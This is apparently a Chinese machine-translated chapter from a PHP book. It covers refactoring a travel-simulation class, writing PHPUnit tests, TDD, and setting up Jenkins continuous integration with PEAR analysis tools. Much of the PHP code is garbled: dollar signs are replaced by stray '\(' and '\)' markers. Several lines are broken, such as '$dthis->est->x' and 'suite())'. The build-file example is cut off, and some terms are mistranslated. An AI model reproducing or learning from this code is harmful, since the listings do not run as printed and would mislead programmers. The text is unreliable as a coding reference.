public function execute(Location $src, Location \(dest)
{
\)this->src = \(src;
\)this->dest = \(dest;
\)this->time = 0.0;
\(angle = TravelMath::calculateAngleInDegrees(\)src, \(dest);
\)angle_in_radians = deg2rad(\(angle);
\)distance = TravelMath::calculateDistance($src, $dest);
TravelView::displayOurIntendedPath($angle, $distance, $src, \(dest); \)has_options = $this->doWeHaveOptions();
if (\(has_options)
{
if (STORMY_WEATHER)
{
if (HAS_CAR)
{
\)this->driveCar();
} else if (HAS_MONEY && ON_BUS_ROUTE)
{
\(this->rideBus();
} else
{
\)this->rideBike();
}
} else
{
if (\(distance < WALKING_MAX_DISTANCE && !IN_A_RUSH)
{
\)this->walk();
} else
{
if (HAS_CAR)
{
\(this->driveCar();
} else if (HAS_MONEY && ON_BUS_ROUTE)
{
\)this->rideBus();
} else
{
\(this->rideBike();
}
}
}
} else
{
if (STORMY_WEATHER)
{
print "ERROR: Storming<br/>";
} else if (\)distance < WALKING_MAX_DISTANCE)
{
$this->walk();
} else
{
print "ERROR: Too far to walk
";
}
}
print "Total time was: " . date("i:s", $this->time);
}
private function doWeHaveOptions()
{
\(has_options = false;
if (HAS_CAR || (HAS_MONEY && ON_BUS_ROUTE) || HAS_BIKE)
{
\)has_options = true;
}
return $has_options;
}
private function driveCar()
{
\(this->time += CAR_DELAY;
//drive
while (abs(\)this->src->x - \(this->dest->x) > CAR_STEP ||
abs(\)this->src->y - \(this->dest->y) > CAR_STEP)
{
\)this->src->x += ( CAR_STEP * cos(\(this->angle_in_radians));
\)this->src->y += ( CAR_STEP * sin(\(this->angle_in_radians));
++\)this->time;
print "driving a car... currently at (" . round(\(this->src->x, 2) .
", " . round(\)this->src->y, 2) . ")
\n";
}
print "Got to destination by driving a car
";
}
private function rideBus()
{
//take the bus
\(this->time += BUS_DELAY;
while (abs(\)this->src->x - \(dthis->est->x) > BUS_STEP ||
abs(\)this->src->y - \(this->dest->y) > BUS_STEP)
{
\)this->src->x += ( BUS_STEP * cos(\(this->angle_in_radians));
\)this->src->y += ( BUS_STEP * sin(\(this->angle_in_radians));
++\)this->time;
print "on the bus... currently at (" . round(\(this->src->x, 2) .
", " . round(\)this->src->y, 2) . ")
\n";
}
print "Got to destination by riding the bus
";
}
private function rideBike()
{
//ride bike
while (abs($this->src->x - \(this->dest->x) > BIKE_STEP ||
abs(\)this->src->y - \(this->dest->y) > BIKE_STEP)
{
\)this->src->x += ( BIKE_STEP * cos(\(this->angle_in_radians));` ` \)this->src->y += ( BIKE_STEP * sin(\(this->angle_in_radians));
++\)this->time;
print "biking... currently at (" . round(\(this->src->x, 2) .
", " . round(\)this->src->y, 2) . ")
\n";
}
print "Got to destination by biking
";
}
private function walk()
{
//walk
while (abs($this->src->x - \(this->dest->x) > WALK_STEP ||
abs(\)this->src->y - \(this->dest->y) > WALK_STEP)
{
\)this->src->x += ( WALK_STEP * cos(\(this->angle_in_radians));
\)this->src->y += ( WALK_STEP * sin(\(this->angle_in_radians));
++\)this->time;
print "walking... currently at (" . round(\(this->src->x, 2) .
", " . round(\)this->src->y, 2) . ")
\n";
}
print "Got to destination by walking
";
}
}`
经过几次重构,我们的代码(清单 13-14 )更容易阅读、理解、修改和添加测试。我们消除了许多重复,我们还可以做更多的改进。在下一节中,我们将向我们的代码添加一些测试,从TravelMath
类开始,它的函数已经完全没有依赖性了。
单元测试
为了确保我们的代码正常工作,我们需要测试它。我们希望我们的代码是具有很少依赖性的短块,这样我们就可以隔离和测试单个的功能单元。为了促进这一点,我们应该有松散耦合的代码,并在必要时使用依赖注入。我们还应该努力保持函数简短,参数数量少。
我们应该把函数重构到多短?就像一个类应该代表一个对象一样,一个函数应该做一件事情。如果一个功能要做多件事情,那么它应该被分解成更小的功能。这样做时,大多数函数的长度往往是 5 到 15 行。随着函数变得越来越小,它们就越来越容易理解。也有更少的空间给虫子。一本关于最佳函数、类长度和代码可读性的好书是罗伯特·马丁(Prentice Hall,2008)写的干净的代码:敏捷软件工艺手册。
两个广泛使用的 PHP 单元测试框架是 PHPUnit 和 Simpletest 。我们将在本章中使用 PHPUnit。PHPUnit 是塞巴斯蒂安·博格曼写的一个 xUnit 端口。由于它是 xUnit 家族的一部分,程序员熟悉 Java 的 JUnit 或 Java 的 NUnit 。NET 会发现入门相当容易。
注意这些框架可从以下网址在线获得:
https://github.com/sebastianbergmann/phpunit/
[www.simpletest.org/](http://www.simpletest.org/)
PHPUnit 手册在[www.phpunit.de/manual/current/en/index.html.](http://www.phpunit.de/manual/current/en/index.html.)
要用 PEAR 安装 PHPUnit,请使用以下命令:
pear channel-discover pear.phpunit.de pear channel-discover components.ez.no pear channel-discover pear.symfony-project.com pear install --alldeps phpunit/PHPUnit
当编写单元测试时,我们应该努力编写快速运行的、可重复的测试,这些测试隔离一小块代码的功能。这可能需要使用高级技术,如依赖注入和模拟对象。
PHPUnit 和 Simpletest 都支持模拟对象。模拟对象对于隔离我们想要测试的代码部分非常有用。它们还可以通过返回模拟结果来帮助我们快速测试,而不需要访问一个缓慢的(用单元测试术语来说)资源,比如一个数据库、一个文件或者一个 web 位置。
我们将返回到我们的Travel
类,并在本章稍后添加一些测试。首先,我们将回到清单 13-5 中的小例子,它决定了我们是否应该出去走走并给它添加测试。有了测试框架,我们可以添加测试,断言带有给定输入参数的函数的预期结果是我们获得的实际结果。
在清单 13-15 中,我们将创建清单 13-5 中代码的面向对象版本。
清单 13-15。面向对象Walk
类,walk.php
`<?php
class Walk
{
private $option_keys = array(
'ownADog', 'tired', 'haveNotWalkedForDays', 'niceOutside', 'bored');
private \(options = array();`
` public function __construct()
{
foreach (\)this->option_keys as \(key) {
\)this->options[$key] = true;
}
}
public function move()
{
if (\(this->shouldWalk()) {
\)this->goForAWalk();
}
}
public function shouldWalk()
{
return ($this->timeToWalkTheDog() || $this->feelLikeWalking());
}
public function timeToWalkTheDog()
{
return (\(this->options['ownADog'] &&
(!\)this->options['tired'] || $this->options['haveNotWalkedForDays']));
}
public function feelLikeWalking()
{
return ((\(this->options['niceOutside'] && !\)this->options['tired']) ||
$this->options['bored']);
}
public function __set($name, \(value)
{
if (in_array(\)name, \(this->option_keys)) {
\)this->options[$name] = $value;
}
}
private function goForAWalk()
{
echo "Going for a walk";
}
}
//\(walk = new Walk();
//\)walk->move();
?>`
大多数 PHP 集成开发环境(ide),如 Netbeans 和 Eclipse,可以生成框架测试文件来帮助我们。ide 通常将我们的测试结果显示为彩色的红/绿条,以表示成功或失败。但是,您也可以直接从命令行运行 PHPUnit 或 Simpletest。我们还可以生成代码覆盖报告,显示已经测试的代码的百分比,以及哪些行没有被测试覆盖。
我们将创建我们的第一个 PHPUnit 类(清单 13-16 ),它还不包含任何测试。
清单 13-16。一个单元的测试骨架为Walk
类,walkTest.php
`<?php
require_once dirname(FILE) . '/../walk.php';
/**
* Test class for Walk.
* Generated by PHPUnit on 2011-05-31 at 19:57:43.
*/
class WalkTest extends PHPUnit_Framework_TestCase
{
/**
* @var Walk
*/
protected $object;
/**
* Sets up the fixture, for example, opens a network connection.
* This method is called before a test is executed.
*/
protected function setUp()
{
$this->object = new Walk;
}
/**
* Tears down the fixture, for example, closes a network connection.
* This method is called after a test is executed.
*/
protected function tearDown()
{
}
}
?>`
在清单 13-16 中,我们扩展了PHPUnit_Framework_TestCase
。setUp
函数创建一个被测试类Walk
的实例,并将其存储在$object
中。teardown
函数是我们在测试完成后关闭资源或销毁对象的地方。在没有添加测试的情况下,在 Netbeans IDE 中运行测试文件会产生如图图 13-1 所示的输出。
图 13-1。Netbeans IDE 中没有执行任何测试
我们将演示添加一个在清单 13-17 中失败的单元测试。结果如图图 13-2 所示。
清单 13-17。添加第一个失败的单元测试
`<?php
require_once dirname(FILE) . '/../walk.php';
class WalkTest extends PHPUnit_Framework_TestCase
{
protected $object;
protected function setUp()
{
$this->object = new Walk;
}
protected function tearDown()
{
}
public function testTimeToWalkTheDog_default()
{
print "testTimeToWalkTheDog_default";
\(this->assertTrue(!\)this->object->timeToWalkTheDog());
}
}
?>`
图 13-2。 Netbeans IDE 显示单元测试失败
我们的默认选项将ownADog
和haveNotWalkedForDays
都设置为true
。所以我们调用$this->object->timeToWalkTheDog()
的结果应该是真的。
在清单 13-18 中,我们调整了之前的测试,使其通过,并增加了第二个测试。
清单 13-18。修正了第一个测试并增加了第二个
`<?php
require_once dirname(FILE) . '/../walk.php';
class WalkTest extends PHPUnit_Framework_TestCase
{
protected $object;
protected function setUp()
{
$this->object = new Walk;
}
protected function tearDown()
{
}
public function testTimeToWalkTheDog_default_shouldReturnTrue()
{
print "testTimeToWalkTheDog_default";
\(this->assertTrue(\)this->object->timeToWalkTheDog());
}
public function testTimeToWalkTheDog_haveNoDog_shouldReturnFalse()
{
print "testTimeToWalkTheDog_default";
\(this->object->ownADog = false;
\)this->assertTrue(!$this->object->timeToWalkTheDog());
}
}
?>`
在我们添加的第二个测试中,我们将ownADog
选项设置为false
。当然,。
$this->object->timeToWalkTheDog()
现在也返回false
。我们两次测试的成功结果如图图 13-3 所示。
图 13-3。两次成功测试
代码覆盖率是已经测试过的代码的百分比。在图 13-4 中,经过我们的两次测试,Walk 类有 61%的代码覆盖率。大多数 ide 都有内置功能或插件,可以突出显示被覆盖的代码行。
图 13-4。Netbeans IDE 中逐行代码覆盖率
重要的是要知道单元测试的代码覆盖率可以是 100%,而程序仍然会失败。这是因为程序的各个部分可能都可以工作,但作为一个整体却不行。你可以把每个单元想象成汽车的一部分,把整个程序想象成你的汽车。尽管所有的零件都是新的,而且工作正常,但它们可能没有正确连接,所以汽车无法运行。为了测试整个程序,我们需要功能测试。
单元测试有助于提醒我们程序中的变化——一个已知的变化或一些重构的副作用。后一种情况会产生潜伏很长一段时间的病毒。当我们试图找出为什么我们会在几周或几个月后得到一个意想不到的结果时,追踪这些类型的错误可能会非常困难和耗时。五分钟或两年前编写的单元测试所提供的对变化的反应是无价的。
单元测试和功能测试都是回归测试的类型。定期运行回归测试,以确保在功能增强、错误修复或配置更改后不会引入新的错误或回归。
当我们在 IDE、命令行或浏览器中使用 PHPUnit 时,输出是不同的。比较图 13-3 、图 13-5 和图 13-6 。
图 13-5。示例 Zend Studio 输出的 PHPUnit 结果
图 13-6。PHPUnit 结果的命令行输出示例
代码覆盖率统计可以让我们看到每个文件被单元测试覆盖的百分比。图 13-7 显示了为我们的旅行计划编写的测试的文件覆盖。
图 13-7。Netbeans IDE中显示的我们的 Travel 程序中每个测试文件的百分比
在我们实现了覆盖整个TravelMath
类的单元测试之后(清单 13-20 ,错误向我们揭示,如图图 13-8 所示。
清单 13-20。针对TravelMath
类、TravelMathTest.php
类、类的全单元测试
`<?php
require_once dirname(FILE) . '/../TravelMath.php';
require_once 'PHPUnit/Autoload.php';
/**
- TravelMath test case.
*/
class TravelMathTest extends PHPUnit_Framework_TestCase {
/**
* Prepares the environment before running a test.
*/
protected function setUp() {
parent::setUp ();
}
/**
* Cleans up the environment after running a test.
*/
protected function tearDown() {
parent::tearDown ();
}
/**
* Constructs the test case.
*/
public function __construct() {
// TODO Auto-generated constructor
}
public function testCalculateDistance_no_difference() {
$src = new Location(3, 7);
\(expected = 0;
\)actual = TravelMath::calculateDistance($src, \(src);
\)this->assertEquals($expected, $actual);
}
public function testCalculateDistance_no_y_change() {
\(src = new Location(5, 7);
\)dest = new Location(3, 7);
\(expected = 2;
\)actual = TravelMath::calculateDistance($src, \(dest);
\)this->assertEquals($expected, $actual);
}
public function testCalculateDistance_no_x_change() {
\(src = new Location(3, 10);
\)dest = new Location(3, 7);
\(expected = 3;
\)actual = TravelMath::calculateDistance($src, \(dest);
\)this->assertEquals($expected, $actual);
}
public function testCalculateDistance_x_and_y_change() {
\(src = new Location(6, 7);
\)dest = new Location(3, 11);
\(expected = 5;
\)actual = TravelMath::calculateDistance($src, \(dest);
\)this->assertEquals($expected, $actual, '', 0.01);
}
public function testCalculateAngleInDegrees_moving_nowhere() {
$src = new Location(3, 7);
\(expected = null;
\)actual = TravelMath::calculateAngleInDegrees($src, \(src);
\)this->assertEquals($expected, $actual);
}
public function testCalculateAngleInDegrees_moving_straight_up() {
\(src = new Location(3, 7);
\)dest = new Location(3, 12);
\(expected = 90.0;
\)actual = TravelMath::calculateAngleInDegrees($src, \(dest);
\)this->assertEquals($expected, $actual);
}
public function testCalculateAngleInDegrees_moving_straight_down() {
\(src = new Location(3, 12);
\)dest = new Location(3, 7);
\(expected = -90.0;
\)actual = TravelMath::calculateAngleInDegrees($src, \(dest);
\)this->assertEquals($expected, \(actual);
}` `public function testCalculateAngleInDegrees_moving_straight_left() {
\)src = new Location(6, 7);
$dest = new Location(3, 7);
\(expected = 180.0;
\)actual = TravelMath::calculateAngleInDegrees($src, \(dest);
\)this->assertEquals($expected, \(actual);
}
public function testCalculateAngleInDegrees_moving_straight_right() {
\)src = new Location(3, 7);
$dest = new Location(6, 7);
\(expected = 0.0;
\)actual = TravelMath::calculateAngleInDegrees($src, \(dest);
\)this->assertEquals($expected, $actual);
}
public function testCalculateAngleInDegrees_moving_northeast() {
//random values where both $x2 != $x1 and $y2 != \(y1
\)x1 = rand(-25, 15);
\(y1 = rand(-25, 25);
\)x2 = rand(-25, 25);
$y2 = rand(-25, 25);
while ($x2 == \(x1) {
\)x2 = rand(-25, 25);
}
while ($y2 == \(y1) {
\)y2 = rand(-25, 25);
}
\(src = new Location(\)x1, \(y1); \)dest = new Location($x2, $y2);
\(expected = rad2deg(atan((\)y2 - \(y1) / (\)x2 - \(x1)));
\)actual = TravelMath::calculateAngleInDegrees($src, \(dest);
\)this->assertEquals($expected, $actual, '', 0.01);
}
public function testIsCloseToDest_x_too_far_should_fail() {
\(src = new Location(3, 9);
\)dest = new Location(3.5, 7);
$step = 1.0;
\(expected = false;
\)actual = TravelMath::isCloseToDest($src, $dest, \(step);
\)this->assertEquals($expected, \(actual);
}` ` public function testIsCloseToDest_y_too_far_should_fail() {
\)src = new Location(4.5, 7.5);
\(dest = new Location(3.5, 7);
\)step = 1.0;
\(expected = false;
\)actual = TravelMath::isCloseToDest($src, $dest, \(step);
\)this->assertEquals($expected, $actual);
}
public function testIsCloseToDest_should_pass() {
\(src = new Location(3, 7.5);
\)dest = new Location(3.5, 7);
$step = 1.0;
\(expected = true;
\)actual = TravelMath::isCloseToDest($src, $dest, \(step);
\)this->assertEquals($expected, $actual);
}
}
?>`
图 13-8。我们的测试运行后出现了一些意想不到的错误
通过检查失败的方法,我们可以看到前两个错误是由于没有返回一维距离的绝对值造成的。我们可以通过改变来解决这个问题
if ($dest->y == $src->y) { $distance = $dest->x - $src->x; } else if ($dest->x == $src->x) { $distance = $dest->y - $src->y;
到
if ($dest->y == $src->y) { $distance = abs($dest->x - $src->x); } else if ($dest->x == $src->x) { $distance = abs($dest->y - $src->y);
第三个错误是因为atan
函数以弧度返回结果。我们期待着学位。所以我们可以通过使用rad2deg
函数来解决这个问题,改变
$angle = atan($distance_y / $distance_x);
到
$angle = rad2deg(atan($distance_y / $distance_x));
进行我们的更改并重新运行我们的测试,我们可以验证这确实解决了问题。参见图 13-9 。
图 13-9。我们的代码现在完全通过了所有测试
我们的单元测试已经通过检测遗留程序中的错误显示了它们的价值。我们继续重构,让读者自己添加更多的单元测试。我们的最终代码将更多的显示语句移到了TravelView
类中,并使用了 TravelMath::isCloseToDest 函数。
清单 13-21。决赛TravelView.php
班
`<?php
error_reporting(E_ALL);
require_once ('config.php');
require_once ('location.php');
class TravelView {
public static function displayOurIntendedPath( $angle, $distance,
Location $src, Location $dest) {
print "Trying to go from " . \(src->toString() . " to " .
\)dest->toString() . "
\n";
if (IN_A_RUSH) {
print "In a rush
\n";
}
print "Distance is " . \(distance . " in the direction of " .
\)angle . " degrees
";
}
public static function displaySummary($time) {
print "Total time was: " . date("i:s", \(time);
}` ` public static function displayError(\)error){
print "ERROR: ".$error. "
";
}
public static function displayLocationStatusMessage($method, $x, $y){
print \(method . “… currently at (" .
round(\)x, 2). " " .
round(\(y, 2). ")<br/>\n";
}
public static function displayArrived(\)message){
print "Got to destination by " . strtolower($message). "
";
}
}
?>`
清单 13-22。travel_original.php
的一个可能的最终重构
`<?php
error_reporting(E_ALL);
require_once('config.php');
require_once('location.php');
require_once('travelView.php');
require_once('travelMath.php');
class Travel {
private $distance = null;
private $angle = 0.0;
private $angle_in_radians = 0.0;
private $time = 0.0;
private $src = 0.0;
private $dest = 0.0;
public function __construct() {
$this->distance = new Location(0, 0);
}
public function execute(Location $src, Location \(dest) { \)this->src = \(src; \)this->dest = $dest;
$this->calculateAngleAndDistance();
TravelView::displayOurIntendedPath( $this->angle, \(this->distance,
\)this->src, \(this->dest);` `if (\)this->doWeHaveOptions ()) {
\(this->pickBestOption ();
} else {
\)this->tryToWalkThere ();
}
TravelView::displaySummary($this->time);
}
public function calculateAngleAndDistance() {
\(this->angle = TravelMath::calculateAngleInDegrees(\)this->src, \(this->dest);
\)this->angle_in_radians = deg2rad(\(this->angle);
\)this->distance = TravelMath::calculateDistance($this->src, $this->dest);
}
public function tryToWalkThere() {
if (STORMY_WEATHER) {
TravelView::displayError("Storming");
} else if (\(this->distance < WALKING_MAX_DISTANCE) {
\)this->walk ();
} else {
TravelView::displayError("Too far to walk");
}
}
public function pickBestOption() {
if (STORMY_WEATHER) {
\(this->takeFastestVehicle ();
} else {
if (\)this->\(this->distance < WALKING_MAX_DISTANCE && !IN_A_RUSH) {
\)this->walk()
} else {
$this->takeFastestVehicle ();
}
}
}
private function takeFastestVehicle() {
if (HAS_CAR) {
\(this->driveCar ();
} else if (HAS_MONEY && ON_BUS_ROUTE) {
\)this->rideBus ();
} else {
$this->rideBike ();
}
}
private function doWehaveOptions() {
\(has_options = false;
if (HAS_CAR || (HAS_MONEY && ON_BUS_ROUTE) || HAS_BIKE) {
\)has_options = true;
}
return $has_options;
}
private function move($step, \(message) {
while (!TravelMath::isCloseToDest(\)this->src, $this->dest, \(step)) {
\)this->moveCloserToDestination($step, \(message);
}
TravelView::displayArrived(\)message);
}
private function driveCar() {
\(this->time = CAR_DELAY;
\)this->move(CAR_STEP, "Driving a Car");
}
private function rideBus() {
\(this->time = BUS_DELAY;
\)this->move(BUS_STEP, "On the Bus");
}
private function rideBike() {
$this->move(BIKE_STEP, "Biking");
}
private function walk() {
$this->move(WALK_STEP, "Walking");
}
private function moveCloserToDestination($step, \(method) {
\)this->src->x += ( \(step * cos(\)this->angle_in_radians));
$this->src->y += ( \(step * sin(\)this->angle_in_radians));
++\(this->time;
TravelView::displayLocationStatusMessage(\)method, $this->src->x, $this->src->y);
}
}
?>`
将我们主类的重构版本(清单 13-22 )与初始代码(清单 13-8 )进行比较。
如果我们要为Travel
类添加测试,我们可以通过将它们添加到测试套件中来一次运行所有的测试(清单 13-23 )。
清单 13-23。我们的测试套件,AllTests.php
`<?php
error_reporting(E_ALL ^ ~E_NOTICE);
require_once 'PHPUnit/Autoload.php';
require_once 'travelMathTest.php';
require_once 'travelTest.php';
class AllTests
{
public static function suite())
{
\(suite = new PHPUnit_Framework_TestSuite('Travel Test Suite');
\)suite->addTestSuite('TravelTest');
$suite->addTestSuite('TravelMathTest');
return $suite;
}
}
?>`
我们现在可以更有把握地展示我们修改后的代码(清单 13-24 )的使用示例,它会按预期工作。
清单 13-24。调用我们的脚本
`<?php
error_reporting(E_ALL);
require_once ('travel.php');
\(travel = new Travel(); \)travel->execute(new Location(1, 3), new Location(4,7));
?>`
运行清单 13-24 (将IN_A_RUSH
配置标志设置为false
)的输出如下所示。
Trying to go from (1, 3) to (4, 7) Distance is 5 in the direction of 53.130102354156 degrees Walking... currently at (1.15, 3.2) Walking... currently at (1.3, 3.4) Walking... currently at (1.45, 3.6) Walking... currently at (1.6, 3.8) Walking... currently at (1.75, 4) Walking... currently at (1.9, 4.2) Walking... currently at (2.05, 4.4) Walking... currently at (2.2, 4.6) Walking... currently at (2.35, 4.8) Walking... currently at (2.5, 5) Walking... currently at (2.65, 5.2)
Walking... currently at (2.8, 5.4) Walking... currently at (2.95, 5.6) Walking... currently at (3.1, 5.8)> Walking... currently at (3.25, 6) Walking... currently at (3.4, 6.2) Walking... currently at (3.55, 6.4) Walking... currently at (3.7, 6.6) Walking... currently at (3.85, 6.8) Got to destination by walking Total time was: 00:19
单元测试和重构配合得很好。事实上,测试驱动开发(TDD)的原则更进了一步,它规定在没有为新代码编写单元测试之前,不要编写任何新代码..
TDD 的基本原则是:
- 写一个测试。
- 测试失败是因为还没有编写出满足它的代码。
- 实现能使测试通过的最少功能。
- 重复一遍。
如果可以选择的话,用全新的代码库进行 TDD,或者用现有的单元测试安全网进行重构是非常好的。然而,更多的时候我们是在处理遗留代码。这不是让修改变得可怕的借口。打破依赖关系和重构代码可能会导致意想不到的行为。然而,你等待重构的时间越长,风险就越大。最好是经常重构,小改小改。
类似地,即使少量的单元测试也比没有好。测试覆盖率为 10%的代码库确实比零覆盖率的代码库更稳定。这种对代码稳定性的信任有助于加速进一步的重构和测试创建。当我们打破紧密耦合的依赖关系,以便我们可以实现测试时,代码库的设计也得到改进。这反过来让我们在以前有多个依赖关系的领域中打破依赖关系。
通常,当试图添加测试时,有两种不同的项目状态。这些措施如下:
- 开始一个新的项目或者添加到一个已经有 100%测试覆盖率的项目中。然后我们可以安全地使用 TDD(如果我们希望的话),并继续测试和重构。
- 从遗留代码库开始。这可能是一个未经测试的开源项目,或者是您继承的公司代码,或者是您自己的未经测试的代码。事实上,在 Michael Feathers (Prentice Hall,2004)的优秀著作《有效地使用遗留代码工作》中,遗留代码被定义为“任何没有测试的代码”。
作为一名 PHP 程序员,你会遇到这两种类型的项目。第二种情况更常见。然而,PHP 开发人员开始采用更严格的“企业”级代码。这包括更强的测试和开发标准。
注意大部分引用的重构和单元测试的参考书都不是为 PHP 编写的。Java、C++或 C#等强类型语言的知识并不是必需的,但对于完全理解所介绍的技术是有用的。
持续集成
我们希望我们的代码测试经常运行并且自动化。这有助于实现快速、稳定的发布周期。持续集成服务器执行一组预定义的构建任务,例如代码部署、测试代码或生成分析报告。因为代码已经被提交到存储库中,所以每次存储库发生变化时都要执行这些操作,或者以一定的时间间隔(例如每小时)执行,或者按需执行。
持续集成(CI)允许您设置计算机可以自动执行的重复任务。这些任务可能单调、乏味、涉及多个步骤、复杂和/或容易出错。
您可以设置构建系统来执行的多步骤任务的一个示例是:
- 从源代码控制中签出我们代码的当前版本。
- 从网站获取第三方库的最新版本。
- 对我们的程序进行静态分析。
- 对我们程序中的 PHP 代码进行单元测试。
假设现在我们想发布一个新版本的程序。使用 CI,在我们的单元测试成功后,我们可以设置额外的构建步骤来:
- 混淆 PHP。
- 创建一个
WAR
文件工件。 - 向版本系统查询修订号。
- 从数据库或文件中读取活动发布版本。
- 在此修订版和以前发布的版本之间创建一个补丁。
- 将内部版本标记为发布版本。
- 在发布版本数据库中插入新记录或更新活动发布版本文件。
- 将
WAR
文件部署到可公开访问的服务器上。
现在想象一下,您手工执行上面的每一个步骤,然后意识到代码中有一个小错误或者丢失了一个文件,或者类似的事情。发布正确的版本需要再次执行所有步骤。手动重复执行所有这些步骤很快就会消耗比我们希望花费的更多的时间,容易出错,而且通常不好玩。
有了 CI,如果我们愿意,我们可以在每次提交后自动执行所有这些步骤。我们还可以为额外的八个部署步骤只标记某些构建。
持续集成服务器
PHP 可用的两个最好的免费 CI 服务器是 Jenkins 和 phpUnderControl。Jenkins 是 Hudson 项目的一个分支,是世界上最常用的 CI 系统之一。phpUnderControl 与 CruiseControl CI 框架集成。Jenkins 和 CruiseControl 都是用 Java 编写的,支持多种构建系统和语言,并提供许多附加插件。我们将在本章中使用詹金斯。
注詹金斯、phpUnderControl 和 CruiseControl 可从以下网站获得:
[
jenkins-ci.org/](http://jenkins-ci.org/)
[
phpundercontrol.org/](http://phpundercontrol.org/)
[
sourceforge.net/projects/cruisecontrol/files/](http://sourceforge.net/projects/cruisecontrol/files/)
CI 服务器使用以下工具:
- 版本控制
- 单元测试和代码覆盖率
- 静态分析
- 构建自动化
版本控制
重申上一章的讨论,版本控制也被称为源代码控制或修订控制。对于任何程序员来说,这都是一个必不可少的工具,不管他是否敏捷。版本控制就像一个数字录音机和混音器。我们可以播放现有的内容。我们可以添加新的内容。我们可以倒回到某个地方。我们可以分支到不同的轨道。我们可以混合我们最喜欢的东西。有时片段会发生冲突,我们需要进行编辑,让不同的部分再次和谐工作。但总而言之,它是我们使用的一个强有力的工具。
最流行的版本控制系统之一是 Subversion (SVN),这将在第十二章中介绍。像 Git 和 Mercurial 这样的新一波分布式版本控制系统也在开发生态中开发出高级别的支持。
注意关于这些版本控制系统的在线文档可从以下网址获得:
[
svnbook.red-bean.com/](http://svnbook.red-bean.com/)
[
gitref.org/](http://gitref.org/)
[
hgbook.red-bean.com/](http://hgbook.red-bean.com/)
静态分析
静态分析工具使用度量来检查我们的代码,并且可以揭示有用的信息,例如:
- 计算复杂性水平(越高越差)
- 依赖性(越少越好)
- 最佳实践建议
- 遵守代码风格惯例
- 检测有问题的代码和可能的错误
- 重复代码的显示
- 制作文档
大多数 PHP 静态分析工具都以 IDE 插件或 PEAR 包的形式提供。按类别划分的一些现有工具有:
遵守一套代码约定:
PhpCheckstyle
[
code.google.com/p/phpcheckstyle/](http://code.google.com/p/phpcheckstyle/)
PHP 代码嗅探器
[
pear.php.net/package/PHP_CodeSniffer/](http://pear.php.net/package/PHP_CodeSniffer/)
API 生成:
PHP 文档管理器
[
www.phpdoc.org/](http://www.phpdoc.org/)
代码质量指标:
PHP 代码行
关于函数、类等代码行的度量
[
github.com/sebastianbergmann/phploc](https://github.com/sebastianbergmann/phploc)
p 结束
类和函数依赖关系
[
pdepend.org/](http://pdepend.org/)
代码质量建议:
PHP 复制/粘贴检测器
[
github.com/sebastianbergmann/phpcpd](https://github.com/sebastianbergmann/phpcpd)
phpcpd - (php 复制/粘贴检测器)重复代码
PHP mess 检测器
[
phpmd.org/](http://phpmd.org/)
类型不匹配的 phantm - PHp 分析器
PHP 是松散类型的。Phantm 有助于发现由类型不匹配引起的潜在错误
[
github.com/colder/phantm](https://github.com/colder/phantm)
学徒
代码反模式和“气味”
[
github.com/mayflowergmbh/padawan](https://github.com/mayflowergmbh/padawan)
突出显示:
phpcb
PHP 代码浏览器——与代码嗅探器 PHPUnit 一起使用
[
github.com/mayflowergmbh/PHP_CodeBrowser](https://github.com/mayflowergmbh/PHP_CodeBrowser)
安全
PHP 安全审计工具
[
sourceforge.net/projects/phpsecaudit/](http://sourceforge.net/projects/phpsecaudit/)
构建自动化
为了自动化重复的任务,我们需要知道如何使用一个构建系统,比如 Apache Ant、Maven 或 Phing。这些构建系统基于 XML 文件。XML 包含在第十四章中。典型的构建文件包含一个或多个目标,每个目标都有子任务。这些任务可用于添加或删除文件,从存储库中签出文件,运行单元测试,执行静态分析,生成文档,等等。
注意关于这些构建系统的更多信息可以在它们各自的网站上找到:
[
ant.apache.org/](http://ant.apache.org/)
[www.phing.info/trac](http://www.phing.info/trac)
[
maven.apache.org/](http://maven.apache.org/)
一个非常基本的构建文件可能是这样的:
`
在这个示例构建文件中,我们有一个构建目标,"testAutomate"
。目标回显一条消息并创建一个目录。构建文件可以有几个目标,本质上变得非常复杂。
从未使用过 CI 服务器的程序员很容易看不到设置 CI 系统所涉及的额外工作的好处。随着时间、构建和测试的增加,我们将真正体验到全部的效用和好处。
詹金斯服务器设置
本节将概述 PHP 与 Jenkins CI 服务器的设置(见图 13-10 )。詹金斯的布局相当直观。这是一个非常受欢迎的配置项,拥有大量的支持社区。詹金斯是复杂和强大的,但也相当容易使用。Jenkins 有一个写得很好的 GUI,也为那些喜欢它的人提供了命令行脚本。
图 13-10。詹金斯网站
用 PHP 设置 Jenkins 的权威参考资料位于[
jenkins-php.org/](http://jenkins-php.org/)
,作者是塞巴斯蒂安·博格曼(PHPUnit 的作者)。
基本步骤是:
- 下载并安装詹金斯。
- 配置 Jenkins 插件。
- 升级 PHP pear 包。
- 创建构建文件。
- 创造一个新的詹金斯工作。
从[
jenkins-ci.org/.](http://jenkins-ci.org/.)
下载 Jenkins 确切的安装过程将因操作系统和发布版本而异。wiki 上有扩展帮助[
wiki.jenkins-ci.org/display/JENKINS/Home.](https://wiki.jenkins-ci.org/display/JENKINS/Home.)
默认情况下,使用端口 8080,仪表板可在[
localhost:8080/dashboard.](http://localhost:8080/dashboard.)
访问
要配置 Jenkins 插件,我们可以使用 web 界面或命令行实用程序(见清单 13-25 )。参见图 13-11 。
清单 13-25。通过 Jenkins 命令行实用程序安装插件
wget http://localhost:8080/jnlpJars/jenkins-cli.jar java –jar jenkins-cli.jar –s http://localhost:8080 install-plugin checkstyle java –jar jenkins-cli.jar –s http://localhost:8080 install-plugin clover java –jar jenkins-cli.jar –s http://localhost:8080 install-plugin jdepend java –jar jenkins-cli.jar –s http://localhost:8080 install-plugin pmd java –jar jenkins-cli.jar –s http://localhost:8080 install-plugin phing java –jar jenkins-cli.jar –s http://localhost:8080 install-plugin xunit java –jar jenkins-cli.jar –s http://localhost:8080 safe-restart
图 13-11。通过 GUI 管理 Jenkins】
您可能需要升级现有的 pear 模块或通道,或者安装额外的模块。为了让构建自动化正常工作,修复 pear 安装尝试中报告的任何错误都是非常重要的。
`pear channel-discover pear.pdepend.org
pear channel-discover pear.phpmd.org
pear channel-discover pear.phpunit.de
pear channel-discover components.ez.no
pear channel-discover pear.symfony-project.com
pear install pdepend/PHP_Depend
pear install phpmd/PHP_PMD
pear install PHPDocumentor
pear install PHP_CodeSniffer
pear install phpunit/phpcpd //copy paste detector
pear install –alldeps phpunit/PHP_CodeBrowser
pear install –alldeps phpunit/PHPUnit`
注意如果您收到错误消息,您可能需要更改您的 pear 配置。例如,您的
data_dir
可能设置不正确。
[
